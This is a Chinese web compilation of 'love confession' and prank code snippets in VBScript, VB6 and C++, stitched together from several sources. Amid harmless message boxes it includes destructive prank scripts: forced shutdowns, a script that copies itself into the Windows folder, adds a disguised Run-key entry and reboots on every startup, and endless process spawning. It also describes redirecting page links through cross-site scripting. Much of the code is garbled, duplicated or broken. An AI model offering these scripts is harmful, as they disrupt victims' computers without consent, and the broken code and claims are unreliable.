vbs表白代码
vbs代码大全
vbs代码大全VBScript(Visual Basic Scripting Edition)是一种微软公司开发的脚本语言,它是Visual Basic的一种简化版本,用于在Windows系统上执行脚本和自动化任务。
VBScript可以用于编写各种类型的脚本,包括系统管理、网页交互、数据处理等。
在本文中,我们将介绍一些常用的VBS代码,帮助您更好地理解和应用这门语言。
首先,我们来看一段简单的VBS代码,用于在Windows系统上显示一个消息框:```vbscript。
MsgBox "Hello, World!"```。
以上代码使用MsgBox函数来显示一个消息框,其中包含"Hello, World!"这个消息。
这是一个非常简单的示例,但它展示了VBS代码的基本语法和结构。
接下来,我们将介绍一些更复杂的VBS代码示例,以便更全面地了解这门语言的特性和用法。
在VBScript中,我们可以使用条件语句来根据不同的条件执行不同的代码块。
下面是一个使用条件语句的示例:```vbscript。
Dim num。
num = InputBox("请输入一个数字,")。
If IsNumeric(num) Then。
If num > 0 Then。
MsgBox "这是一个正数。
"ElseIf num < 0 Then。
MsgBox "这是一个负数。
"Else。
MsgBox "这是零。
"End If。
Else。
MsgBox "输入无效。
"End If。
```。
以上代码首先使用InputBox函数获取用户输入的数字,然后使用条件语句判断这个数字的正负和零。
这个示例展示了VBS代码中条件语句的使用方法,以及如何处理用户输入的数据。
除了条件语句,VBScript还支持循环结构,可以重复执行特定的代码块。
vbs整人代码,表白+提醒两段代码就OK
vbs整人代码,表白+提醒两段代码就OKvbs整人代码,表白+提醒两段代码就OK一msgbox "做我女朋友好吗",vbQuestion,"在吗"msgbox ("房产写你名字")msgbox ("保大")msgbox ("我妈会游泳")dim jdo while j Select Case msgbox("做我女朋友好吗",68,"请郑重的回答我")Case 6 j=1Case 7 msgbox("再给你一次机会")end Selectloopmsgbox("我就知道你会同意的,哈哈哈哈")使用方法:新建一个txt文档,将上面的代码复制到txt,然后将文档的后缀名改成vbs。
鼠标双击即可执行。
二步骤一:在电脑上新建一个txt文件步骤二:将以下代码复制过去(中文可以改)const title = “爱情测试”const yourname = “嫦娥”const question = “你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。
”const info = “你在说谎!不要逃避,实话实说。
”const scend = “你说出了你的心扉,那就向他(她)表白吧。
”dim youranswerdoyouranswer = inputbox(question, title)if youranswer yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title步骤三:讲后缀名改为vbs点击之后效果:当输入的名字不是代码中的“嫦娥”,则会弹出"你在说谎!不要逃避,实话实说。
简单的vb编程表白代码
简单的vb编程表白代码用Beatiful的vb编程表白
Private Sub Form_load
Dim i As Integer
For i = 0 to 650
Rem 这里编写你想表达的话语
Print "亲爱的,你好!"
Print "你是属于我的一切,你对我而言更加重要" Print "每次想到你,我就美丽地笑了"
Print "每次想到你,无数的甜蜜就洋溢而出"
Print "每次想到你,我的心才会归宿"
Print "每次想到你,思念的鼓舞就穿越天隙"
Print "缘分莫名,我们痴痴相思"
Print "苦海无涯回头是岸,而你是我的岸"
Print "让我深情的表达,我的心依旧属于你" Next
End Sub
Private Sub Command1_click
Rem 开始表白
MsgBox "在这世界上有两个心,早已相惜未诉说" MsgBox "一颗心爱恨,一颗心梦话"
MsgBox "谈笑风生暗中观,害怕梦被时间带走" MsgBox "明知道不能改变,还是想把此刻永久定格" MsgBox "因为你,依旧是我唯一的牵挂"
MsgBox "把这一路的思念,深深的写在心里" MsgBox "终于等到有一天,真正的能够宣示爱慕"
MsgBox "微笑,是因为有你……" End Sub。
vbs证人代码
End if
ps 一直弹到100 然后倒数计时关机
on error resume next
set wshshell=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
fso.movefile(wscript.scriptfullname,"%windir%\")
wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1
msgbox scend, vbinformation+vbokonly, title
功能:让他非说出你指定的名字
<script language="VBScript">
dim a,b
dim lanchr()
redim lanchr(10)
lanchr(1)="从前有座山"
lanchr(2)="山上有座庙"
</script>
<a onClick=click() style='cursor:hand'>点击我查看《两个男人的故事》</a>
保存为*.htm
vbs表白代码
msgbox(“和你在一起只是我不想给任何人机会。
”)
mdgbox(“请你当我手心里的宝。
”)
mdgbox(“好笑吗身边没你,好怪,陪我一生一世好吗?”)
mdgbox(“玫瑰开在九月里,我的心中只有你,好想和你在一起,没有什么送给你,只有一句我爱你!”)
mdgbox(“我想要一个拥抱,但是你的拥抱或许永远也不属于我。
”)
mdgbox(“做不了你的影子,就让我做一阵风萦绕在你的身边。
”)
mdgbox(“如果有忧伤,我把它无声无息地吹散。
”)
mdgbox(“用我三生烟火,换你一生迷离。
为你尘埃落定,倾覆一世繁华。
”)
mdgbox(“天塌下来,记住有我,陪你看天崩地裂。
”)
mdgbox(“踮起脚尖,我们就能离幸福更近一点吗?”)
mdgbox(“在同一片天空下,只是想想就觉得狠幸福”)
mdgbox(“明明刚刚才看到你,可现在思念已经将我掩埋,我想你。
”)
mdgbox(“我愿意轻轻地把你拖起,一如托起生活的一切重担。
”)
mdgbox(“Don't go, please stay, don't make my heart ache any more. Do you think it's not enough to hurt me”)
mdgbox(“Don't know if loving you is a good reason?”)
mdgbox(“好嗨哦”)
mdgbox(“感觉好爽”)
mdgbox(“完”)
mdgbox(“感谢观看”)。
表白程序-VB源码
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'mcisendstring播放音乐的API函数Private Declare Function timeGetTime Lib "winmm.dll" () As Long '用于制作延时函数Dim WithEvents imgMG As Image '申明控件数组Dim i As Integer '全局变量Dim imgBox(999) As Image '记录控件数组的数组Dim ratio As DoublePrivate Sub Form_Load()= 0= 2Picture1.Top = 0Picture1.Left = 0Picture1.Width = 20480 '图片框宽度等于屏幕宽度Picture1.Height = 11510 'ratioPicture1.Scale (-ratio / 2, 1)-(ratio / 2, -1)Picture1.BackColor = vbWhiteDrawLines 0, 0Image1(0).Picture = LoadPicture( & "\红玫瑰.gif")Label1.Top = 0Label1.Left = 0Label1.FontBold = TrueLabel1.ForeColor = vbRedLabel1.Caption = ""Label2.Visible = False'Call BBEnd SubPrivate Sub Label2_Click()mciSendString "close movie", 0&, 0, 0Unload Me '退出程序End SubPrivate Sub BB() '本程序主要的函数,功能都在里实现Call MusicPlay '播放音乐For j = 1 To 99X = Rnd * 20480Y = Rnd * 11510i = i + 1Load Image1(i)Image1(i).Picture = Image1(0).PictureImage1(i).Width = Image1(0).WidthImage1(i).Height = Image1(0).HeightImage1(i).Top = YImage1(i).Left = XImage1(i).Visible = TrueSleep2 200Label1.Caption = i & "送上99朵玫瑰,代表我的心!"Next jLabel1.Caption = "我们一起长长久久" '随机“画”出99朵玫瑰nullMeiGui i '“察”去玫瑰清屏,下同Label1.Caption = ""MeiGui "TX.tat"Label1.Caption = "你和你的名字在我心中"Sleep2 3000nullMeiGui i '画出桃心Label1.Caption = ""MeiGui "ILU.tat"Label1.Caption = "I LOVE U"Sleep2 3000nullMeiGui i '画出i love uLabel1.Caption = ""MeiGui "XHM.tat"Label1.Caption = "喜欢吗?"Y = MsgBox("告诉我你喜欢吗?", vbYesNo, "我想知道")If Y = vbYes ThennullMeiGui iMeiGui "XL.tat"Label1.Caption = "你喜欢,我很开心"Open & "\DA.tat" For Append As #1Print #1, "我喜欢"Close #1ElsenullMeiGui iMeiGui "KL.tat"Label1.Caption = "你不喜欢,我很难过"Open & "\DA.tat" For Append As #1Print #1, "我不喜欢"Close #1End IfLabel2.Visible = TrueLabel2.ForeColor = vbRedLabel2.Caption = "点这里退出"Label2.Left = Picture1.Width / 2 - Label2.Width / 2End SubPrivate Sub MusicPlay() '音乐播放函数mName = & "\DDN.mp3" '获取音乐文件地址及文件名,音乐文件放在当前文件夹下,即为我去程序所在当前文件夹路径mciSendString "close movie", 0&, 0, 0mciSendString "open " & mName & " TYPE MPEGVideo Alias movie", 0&, 0, 0 '注意open后有个空格,TYPE前有个空格,否则播放不成功mciSendString "play movie repeat", 0&, 0, 0mciSendString "play movie", 0&, 0, 0End SubPrivate Sub MeiGui(ByVal strFile As String) '用玫瑰绘制想要写的字或图片,文件是事先做好的,可以通过代码下面的代码完成Open & "\" & strFile For Input As #1While Not EOF(1)Sleep2 (200)Input #1, X, Yi = i + 1Load Image1(i)Image1(i).Picture = Image1(0).PictureImage1(i).Width = Image1(0).WidthImage1(i).Height = Image1(0).HeightImage1(i).Top = Y - Image1(0).Height / 2Image1(i).Left = X - Image1(0).Width / 2Image1(i).Visible = TrueWendClose #1End SubPrivate Sub nullMeiGui(ByVal N As Integer) '通过释放控件数组清屏For j = N To 1 Step -1Sleep2 (200)Unload Image1(j)Next ji = 0End SubPrivate Function Sleep2(T As Long) '延时函数Dim Savetime As LongSavetime = timeGetTime '记下开始时的时间,以毫秒为单位While timeGetTime < Savetime + T '循环等待DoEvents '转让控制权WendEnd FunctionPrivate Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) '用点描记出要绘制的图画或文字,记录的数据保存在,复制出去可用Picture1.FillStyle = 0Picture1.FillColor = vbRedPicture1.Circle (X, Y), 0.01, vbRedOpen & "\c_drawable.tat" For Append As #1Print #1, X & "f,", "0.0f,", Y & "f,"; 记录点击的位置Close #1End SubPrivate Sub DrawLines(ByVal X As Long, ByVal Y As Long) '画网格,描记图形时用Picture1.FillStyle = 0Picture1.FillColor = vbRedPicture1.Line (0, 1)-(0, -1)Picture1.Line (-ratio / 2, 0)-(ratio / 2, 0)End Sub程序中用到的图片资源:红玫瑰.gif at文件记录的数据1575 22951530 34501575 45901515 57751485 68851470 80253885 23103855 34653900 45903840 57603840 69003765 79954560 80405610 79957065 30456015 40655865 53406015 64206675 73207140 75907755 70808160 61658160 49957665 38408535 28508805 37659090 49809315 59859555 687010050 748510755 666011220 559511430 451511850 273012525 268513170 268514205 268512405 373512420 487512450 582012420 678012390 754513410 750014475 759013125 504013935 499516080 268516065 381016215 501016560 609017145 720017970 726018480 634518660 517518900 393018930 319519005 2625其他文件数据附于文末运行时截图:程序运行是动态的,这是瞬间截图数据8160 2895 7140 2490 6195 2610 5655 3315 5505 4305 5685 5460 6120 6465 6945 7380 7680 8145 8460 8625 9270 8910 10065 8580 10935 8040 11520 7410 12135 6525 12615 5595 12960 4425 13020 3540 12885 2685 12345 2130 11655 2115 10800 2370 9960 2745 9435 3030 7605 2640 6555 2520 5820 2955 5565 3795 5565 4935 5895 6030 6465 6840 7290 7755 8070 8355 8895 8730 9720 8685 10500 8235 11205 7680 11775 6855 12330 6015 12840 5025 8580 4650 7725 4140 7515 52656975 3825 6240 4260 6555 3300 7230 3210 8010 3510 8550 3900 8100 5625 7965 4770 6930 5130 6255 4905 6300 5400 6615 6015 7080 5670 7245 6585 7605 6030 6885 6345 7665 7140 8175 7800 7530 7620 8220 6570 8385 7290 8925 6735 8925 7380 8805 7890 8580 8250 9045 8295 9555 7815 9690 8265 10275 7860 9945 7485 9480 7185 10665 7125 10740 7500 11235 7080 10035 6990 9585 6495 8880 6150 8475 5955 8595 5250 9075 5235 9030 5535 9765 5865 9705 54009075 4530 9075 3930 9540 3975 9600 3450 10125 3180 10125 3840 10245 4365 9765 4275 10740 3225 10740 2790 11400 2820 11850 2670 12240 2805 12015 3285 11295 3270 11370 3810 10830 3840 10710 4290 11295 4230 12000 4170 11865 3735 12375 3705 12480 3210 10170 4965 10365 5460 11355 5520 11145 5175 10950 5655 10500 6000 10050 6120 10320 6570 10845 6300 11190 6690 10800 6645 11610 6390 11250 6090 10725 4875 11520 4770 11250 4665 12435 4155 12885 3960 12330 4770 12000 465012450 5265 11970 5490 11700 5730 11805 6030 12195 5685数据1485 2265 2325 2310 3210 2295 4140 2340 5220 2340 3240 1410 3150 2895 3075 3585 2100 3045 4215 3120 1635 4050 2715 4110 4080 4215 1830 4680 2790 4755 3735 4710 3870 5520 1710 5385 1695 6015 2595 6135 3810 6240 1920 6870 3390 6945 450 7800 1515 7785 2745 7800 3960 7800 5295 7770 1305 8475 2070 8505 3270 8520 3315 9390 1155 9180 1170 9840 2175 9900 3360 100207290 3645 8400 3615 8100 4335 7155 5325 6570 6285 6165 6795 6780 4590 7740 6135 9375 3000 8985 4035 8685 4830 9750 4005 10770 3990 11580 3990 12435 3915 12045 4725 10200 4485 9750 5295 9270 6015 8805 6780 8295 7440 10230 5895 10695 6540 11160 7230 13845 2655 13845 3480 13845 4335 14745 2640 15465 2595 15525 3540 15495 4335 14625 4320 16410 2565 17250 2625 18105 2535 18630 2520 18360 3630 17925 4590 17610 5205 16950 3480 16635 4410 16095 5325 15495 604517910 5955 18825 5895 18765 6765 18435 7680 18300 8415 18105 9120 17430 8595 13710 7335 15195 7290 16440 7275 17250 7230数据5505 2985 6900 2340 9000 2055 11100 2310 12000 3630 12270 5835 4905 4800 5145 6495 6465 7635 7650 8475 9765 8280 11505 7320 5985 4080 6810 3855 7695 3960 7860 4410 9030 4470 9435 4125 10260 3885 10845 4155 11250 4770 6720 6210 7260 6675 8070 7005 9045 6885 9600 6390 10020 6090 12240 4785 11565 2865 9990 20406165 25955115 38704905 55805760 70806945 80558595 843010605 775512030 6525将上述文件数据复制到文本文件中,后缀名改为tat。
vbs实用代码
vbs实用代码l★vbs有一个对像是"SAPI.SpVoice",可以用它来讲英语的,这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话好比这样一句代码:CreateObject("SAPI.SpVoice").Speak"ILOVEY0U"保存成vbs后缀后双击就会听到英语的我爱你了2★用mashta来运行vbshta这种类型的文件运行后也是系统权限,其调用宿主就是mahta。
我们在cmd下运行这样一行代码: _ , 拜mshtavbscript:createobject("sapi.spvoice").speak("ILOVEYO U.")(window.close)也会听到同样的发音。
这行代码的意思类似是临时生成一个hta 文件,然后运行里边的vbs代码,再调用window.close将运行窗口关掉。
整个运行过程是看不到hta窗口的.3★用ie地址栏运行vbs很多人会用ie地址栏运行js,其实vbs—样是可以的,我们陆便打开一个网站,在地址栏上输入:vbscript:msgbox(Document.links.length)后回车,就会看到当前页面有多少个连接了。
用Document.links(i).href这句的话,将i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。
这部份内容其实是涉及到dhtml的内容了。
我们来看一个最简单的示例代码:这是两个链接,保存成网页后点击就会跳转到不同的页面。
如果这个页面有跨站,我想搞下破坏,让用户点击却跑到我指定的页面上能做到吗?其实可以的.只要加一行语句就可以了,代码是:。
这样的话用户再点击sohu其实会跑到baidu上去了,原来页面的版式却丝奄没有破坏。
同样的dhtml元素还有document.links(i).href、document,images(i).src>document.forms(i>.action等,跨站改变其动态元素是很好玩的。
快手封面微信神秘表白代码
快手封面微信神秘表白代码
微信表白代码
1.发送 xoxo (会出现满屏亲亲)
2.发送 mi manchi (会出现满屏小星星)
3.发送 ohh (翻译:留在我身边)
4.发送 lch will mit dir S wim(翻译:我想和你在一起)
5.发送Você é meu bebê (翻译:你是我的宝贝)
6.发送 Te vagy az egyetlen (翻译:是你我唯一)
7.发送 love at first sight (翻译:一见钟情)
8.发送 We will be happy (我们会幸福)
9.发送 miss u (会出现星星雨)
10.发送 \u6211\u7231\u4f60 (翻译:爱你)
11.发送 \u5728\u4e00\u8d77\u5427 (翻译:在一起吧)
12.发送 Miluji pouze jednu osobu, ta osoba jste vy. (翻译:我只爱一个人,那个人就是你)
13.发送 i yyqx you (翻译:我跟你说)
14.发送\u6211\u559c\u6b22\u4f60\u554a (需要翻译两次:我喜欢你啊)
15.发送 I still like you (翻译:我还喜欢你)
16.发送Mám tě rád (翻译:我喜欢你)
以上内容,复制代码发送给微信好友,对方长按翻译。
写一个小程序,让电脑说话——有趣的表白(二)
写一个小程序,让电脑说话——有趣的表白(二)
如果你有一些话,难以开口,却又想说出来怎么办呢?
下面小编就教你来写一个程序,让电脑代你开口。
1.右击桌面,新建“记事本”或“文本文档”。
2.输入这段小代码CreateObject('SAPI.SpVoice').Speak''
3.最后的双引号中间就可以加入你要让电脑说的话。
下面小编给你看示例。
4.点击左上角“文件”,选择另存为,将文件名后缀加上 .vbs,保存类型选择“所有文件”。
5.保存后,你可以看到桌面上是一个S的图标,双击它,就可以听到你写入的话了。
是不是非常有趣呢,快去动手制作一个,发给朋友们吧!
本文为头条号作者发布,不代表今日头条立场。
c语言c++动态爱心表白代码
c语言c++动态爱心表白代码以下是一个使用C++编写的动态爱心表白代码示例。
这个代码使用了Windows API中的MessageBox函数来显示爱心形状和表白文字。
```cpp#include <iostream>#include <windows.h>#include <math.h>// 定义爱心形状的坐标点const int LOVE_COORDINATES[] = {100, 100,150, 100,200, 150,250, 150,300, 100,250, 50,200, 100,150, 150,100, 100};void DrawLove(HDC hdc, int x, int y) {HPEN hPen = CreatePen(PS_SOLID, 1, RGB(255, 0, 0));SelectObject(hdc, hPen);for (int i = 0; i < 8; i++) {int tx = x + LOVE_COORDINATES[i * 2];int ty = y - LOVE_COORDINATES[i * 2 + 1];MoveToEx(hdc, tx, ty, NULL);int cx = tx + LOVE_COORDINATES[i * 2 + 1];int cy = ty - LOVE_COORDINATES[i * 2];LineTo(hdc, cx, cy);}DeleteObject(hPen);}void PrintMessage(HDC hdc, int x, int y, const TCHAR* message) { HFONT hFont = CreateFont(16, 0, 0, 0, FW_NORMAL, 0, 0, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT("宋体"));SelectObject(hdc, hFont);SetBkColor(hdc, RGB(255, 255, 255));SetTextColor(hdc, RGB(0, 0, 0));TextOut(hdc, x, y, message, _tcslen(message));DeleteObject(hFont);}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {const TCHAR* message = TEXT("我爱你"));HDC hdc = GetDC(NULL);int screenWidth = GetSystemMetrics(SM_CXSCREEN);int screenHeight = GetSystemMetrics(SM_CYSCREEN);int loveX = (screenWidth - 300) / 2;int loveY = (screenHeight - 150) / 2;DrawLove(hdc, loveX, loveY);PrintMessage(hdc, loveX + 100, loveY + 50, message);MessageBox(NULL, message, TEXT("动态爱心表白"), MB_OK);ReleaseDC(NULL, hdc);return 0;}```编译和运行此代码后,你将看到一个带有红色爱心和表白文字的窗口。
vbs表白语
vbs表白语
VBS表白语是指在Visual Basic Script(VB脚本)中使用特定的语言来表达自己的爱意。
现代社会中,表白方式已经变得越来越丰富,特
别是在网络时代,各种创意的表白方式层出不穷。
VBS表白语也在此
背景下迅速崛起,成为一种新型的表白方式。
VBS表白语的表现形式非常多样,可以使用字符组合、十六进制编码、汉字编码等方式进行表达。
下面是一些常见的VBS表白语句子:
1. Set love = Heart + Heart
2. Const love = "I love you"
3. Love = "5201314"
4. If Love = "You" Then MsgBox "I love you"
这些句子简单明了,但又深情动人,能够很好的表达出爱意。
不仅如此,VBS表白语的创意性还表现在,表白语句子的编写往往需要一些
技巧和熟练的逻辑思维,增加了表白的趣味性和互动性。
VBS表白语不仅可以作为一种有趣的表白方式,也可以通过技巧的运用,使代码更加简洁美观,提高代码质量。
此外,在VBS表白语中,可以融入其他的元素,如音效、动画等,使表白更加生动活泼、有味道。
总之,VBS表白语既是一种有趣的表白方式,也是一种独具创意的编程技巧。
它不仅表达了爱意,同时也展示了个人的创意与想象力。
当你用VBS表白语来表达自己的情感时,你不仅是在向对方告白,更是在向世界展示自己的才华。
一个贼简单的代码表白
⼀个贼简单的代码表⽩前⼀阵⽹上挺⽕的各种表⽩代码,⾃⼰学着也做了⼀个记事本编写,后缀改为vbs 就能运⾏了。
(其中有⼀串代码会关机的呦,我是WIN10系统)set ws=createobject(“wscript.shell”)ws.run"cmd.exe /c shutdown -s -f -t 0"哈哈知道三号⼥⽣是什么梗吗?(来源于⽂松的⼀个⼩品,那个⽼弟啊姐给你爆灯的那个!!嗯哼)就是注意⼀下代码中符号必须是英⽂的哦!要不可⿇烦了。
源码:x=msgbox("做我⼥朋友好不好",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧!")msgbox("记得来找我。
")elseif x=VbNo thenx=msgbox("房产证写你名字",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧!")msgbox("记得来找我。
")elseif x=VbNo thenx=msgbox("保⼤...",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧!")msgbox("记得来找我。
")elseif x=VbNo thenx=msgbox("我妈会游泳",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧!")msgbox("记得来找我。
")elseif x=VbNo thenmsgbox("你真的不爱我吗?")msgbox("那好吧。
")msgbox("那你就关机吧")msgbox("真的哟!")msgbox("都怪我太善良,再给你⼀次机会")x=msgbox("你后悔吗?",VbYesNo)if x=VbYes thenmsgbox("后悔就不给你关机了,3号⼥⽣!")elseif x=VbNo thenmsgbox("宁死不屈在下佩服,拜拜。
vbs整人代码
vbs整人代码const yourname = "请在这填上姓名"const title = "爱情测试"const question = "你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。
"const info = "你在说谎!不要逃避,实话实说。
"const scend = "你说出了你的心扉,那就向他(她)表白吧。
"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title功能:让他非说出你指定的名字点击我查看《两个男人的故事》保存为*.htm无限循环!!MsgBox "兄弟呀,你最近是否失眠",vbinformationRandomize()Dim aa=Int(rnd*2)Select Case aCase 0MsgBox ("我也是这样啊``````")Case 1MsgBox ("(-.-),同是天涯失眠人。
")Case 2MsgBox ("(~.~),还是说你没有失眠")End selectMsgBox ("告诉你一个祖传秘方")Dim b(99)For ji=0 To 99b(ji)=ji+1MsgBox (b(ji) & "只羊")NextMsgBox ("好吧,晚安!")If b(99)=100 ThenSet Wshell=Wscript.CreateObject("Wscript.Shell") Wshell.run "shutdown -s -t 100"End ifps 一直弹到100 然后倒数计时关机on error resume nextset wshshell=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")fso.movefile(wscript.scriptfullname,"%windir%\")wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1 wshshell.run "cmd.exe /c shutdown -r -t 0",0,-1ps:这个毒呀开机就重起我还没验证过呢domsgbox "You are foolish!" '可以改成想弹出的字loopps:这简单一直弹同一句话set wsh=createobject("wscript.shell")dowsh.run "calc"loopps:有点哪个打开无数个计算器,可能会死机dim sdo until s=500 '次数s=s+1msgbox "哥们,给我按500次回车吧",64 '弹出的字loopon error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说我是猪,不说的话就40秒关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快,说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了吗"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "嘻~真爽"可以说是一段很老的代码了。
用vb来告诉你怎么表白
Private Declare Function mciSendString Lib "" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'mcisendstring播放音乐的API函数Private Declare Function timeGetTime Lib "" () As Long '用于制作延时函数Dim WithEvents imgMG As Image '申明控件数组Dim i As Integer '全局变量Dim imgBox(999) As Image '记录控件数组的数组Dim ratio As DoublePrivate Sub Form_Load()= 0= 2= 0= 0= 20480 '图片框宽度等于屏幕宽度= 11510 'ratio = /(-ratio / 2, 1)-(ratio / 2, -1)= vbWhiteDrawLines 0, 0Image1(0).Picture = LoadPicture & "\红玫瑰.gif")= 0= 0= True= vbRed= ""= False'Call BBEnd SubPrivate Sub Label2_Click()mciSendString "close movie", 0&, 0, 0Unload Me '退出程序End SubPrivate Sub BB() '本程序主要的函数,功能都在里实现 Call MusicPlay '播放音乐For j = 1 To 99X = Rnd * 20480Y = Rnd * 11510i = i + 1Load Image1(i)Image1(i).Picture = Image1(0).PictureImage1(i).Width = Image1(0).WidthImage1(i).Height = Image1(0).HeightImage1(i).Top = YImage1(i).Left = XImage1(i).Visible = TrueSleep2 200= i & "送上99朵玫瑰,代表我的心!"Next j= "我们一起长长久久" '随机“画”出99朵玫瑰 nullMeiGui i '“察”去玫瑰清屏,下同= ""MeiGui ""= "你和你的名字在我心中"Sleep2 3000nullMeiGui i '画出桃心= ""MeiGui ""= "I LOVE U"Sleep2 3000nullMeiGui i '画出i love u= ""MeiGui ""= "喜欢吗"Y = MsgBox("告诉我你喜欢吗", vbYesNo, "我想知道") If Y = vbYes ThennullMeiGui iMeiGui ""= "你喜欢,我很开心"Open & "\" For Append As #1Print #1, "我喜欢"Close #1ElsenullMeiGui iMeiGui ""= "你不喜欢,我很难过"Open & "\" For Append As #1Print #1, "我不喜欢"Close #1End If= True= vbRed= "点这里退出"= -= / 2 - / 2End SubPrivate Sub MusicPlay() '音乐播放函数mName = & "\" '获取音乐文件地址及文件名,音乐文件放在当前文件夹下,即为我去程序所在当前文件夹路径mciSendString "close movie", 0&, 0, 0mciSendString "open " & mName & " TYPE MPEGVideo Alias movie", 0&, 0, 0 '注意open后有个空格,TYPE前有个空格,否则播放不成功mciSendString "play movie repeat", 0&, 0, 0mciSendString "play movie", 0&, 0, 0End SubPrivate Sub MeiGui(ByVal strFile As String) '用玫瑰绘制想要写的字或图片,文件是事先做好的,可以通过代码下面的代码完成Open & "\" & strFile For Input As #1While Not EOF(1)Sleep2 (200)Input #1, X, Yi = i + 1Load Image1(i)Image1(i).Picture = Image1(0).PictureImage1(i).Width = Image1(0).WidthImage1(i).Height = Image1(0).HeightImage1(i).Top = Y - Image1(0).Height / 2Image1(i).Left = X - Image1(0).Width / 2Image1(i).Visible = TrueWendClose #1End SubPrivate Sub nullMeiGui(ByVal N As Integer) '通过释放控件数组清屏For j = N To 1 Step -1Sleep2 (200)Unload Image1(j)Next ji = 0End SubPrivate Function Sleep2(T As Long) '延时函数Dim Savetime As LongSavetime = timeGetTime '记下开始时的时间,以毫秒为单位While timeGetTime < Savetime + T '循环等待DoEvents '转让控制权WendEnd FunctionPrivate Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) '用点描记出要绘制的图画或文字,记录的数据保存在,复制出去可用= 0= vbRed(X, Y), , vbRedOpen & "\" For Append As #1Print #1, X & "f,", ",", Y & "f,"; 记录点击的位置Close #1End SubPrivate Sub DrawLines(ByVal X As Long, ByVal Y As Long) '画网格,描记图形时用 = 0= vbRed(0, 1)-(0, -1)(-ratio / 2, 0)-(ratio / 2, 0)End Sub程序中用到的图片资源:红玫瑰.gif 文件记录的数据1575 22951530 34501575 45901515 57751485 68851470 80253885 23103855 34653900 45903840 57603840 69003765 79954560 80405610 79957065 30456015 40655865 53406015 64207140 7590 7755 7080 8160 6165 8160 4995 7665 3840 8535 2850 8805 3765 9090 4980 9315 5985 9555 6870 10050 7485 10755 6660 11220 5595 11430 4515 11685 3525 11850 2730 12525 2685 13170 2685 14205 2685 12405 3735 12420 4875 12450 5820 12420 6780 12390 754514475 7590 13125 5040 13935 4995 16080 2685 16065 3810 16215 5010 16560 6090 17145 7200 17970 7260 18480 6345 18660 5175 18900 3930 18930 3195 19005 2625其他文件数据附于文末运行时截图:程序运行是动态的,这是瞬间截图数据8835 33008160 28957140 24906195 26105655 33155505 43055685 54606120 64656945 73807680 81458460 86259270 891010065 858010935 804011520 741012135 652512615 559512960 442513020 354012885 268512345 213011655 21159960 2745 9435 3030 7605 2640 6555 2520 5820 2955 5565 3795 5565 4935 5895 6030 6465 6840 7290 7755 8070 8355 8895 8730 9720 8685 10500 8235 11205 7680 11775 6855 12330 6015 12840 5025 8580 4650 7725 4140 7515 5265 6990 4545 6975 3825 6240 42607230 3210 8010 3510 8550 3900 8100 5625 7965 4770 6930 5130 6255 4905 6300 5400 6615 6015 7080 5670 7245 6585 7605 6030 6885 6345 7665 7140 8175 7800 7530 7620 8220 6570 8385 7290 8925 6735 8925 7380 8805 7890 8580 8250 9045 8295 9555 781510275 7860 9945 7485 9480 7185 10665 7125 10740 7500 11235 7080 10035 6990 9585 6495 8880 6150 8475 5955 8595 5250 9075 5235 9030 5535 9765 5865 9705 5400 9705 4785 9075 4530 9075 3930 9540 3975 9600 3450 10125 3180 10125 3840 10245 4365 9765 427510740 2790 11400 2820 11850 2670 12240 2805 12015 3285 11295 3270 11370 3810 10830 3840 10710 4290 11295 4230 12000 4170 11865 3735 12375 3705 12480 3210 10170 4965 10365 5460 11355 5520 11145 5175 10950 5655 10500 6000 10050 6120 10320 6570 10845 6300 11190 669011610 6390 11250 6090 10725 4875 11520 4770 11250 4665 12435 4155 12885 3960 12330 4770 12000 4650 11895 5130 12450 5265 11970 5490 11700 5730 11805 6030 12195 5685数据1485 2265 2325 2310 3210 2295 4140 2340 5220 2340 3240 1410 3150 28952100 3045 4215 3120 1635 4050 2715 4110 4080 4215 1830 4680 2790 4755 3735 4710 3870 5520 1710 5385 1695 6015 2595 6135 3810 6240 1920 6870 3390 6945 450 7800 1515 7785 2745 7800 3960 7800 5295 7770 1305 8475 2070 8505 3270 8520 3315 93901170 9840 2175 9900 3360 10020 6405 3615 7290 3645 8400 3615 8100 4335 7155 5325 6570 6285 6165 6795 6780 4590 7740 6135 9375 3000 8985 4035 8685 4830 9750 4005 10770 3990 11580 3990 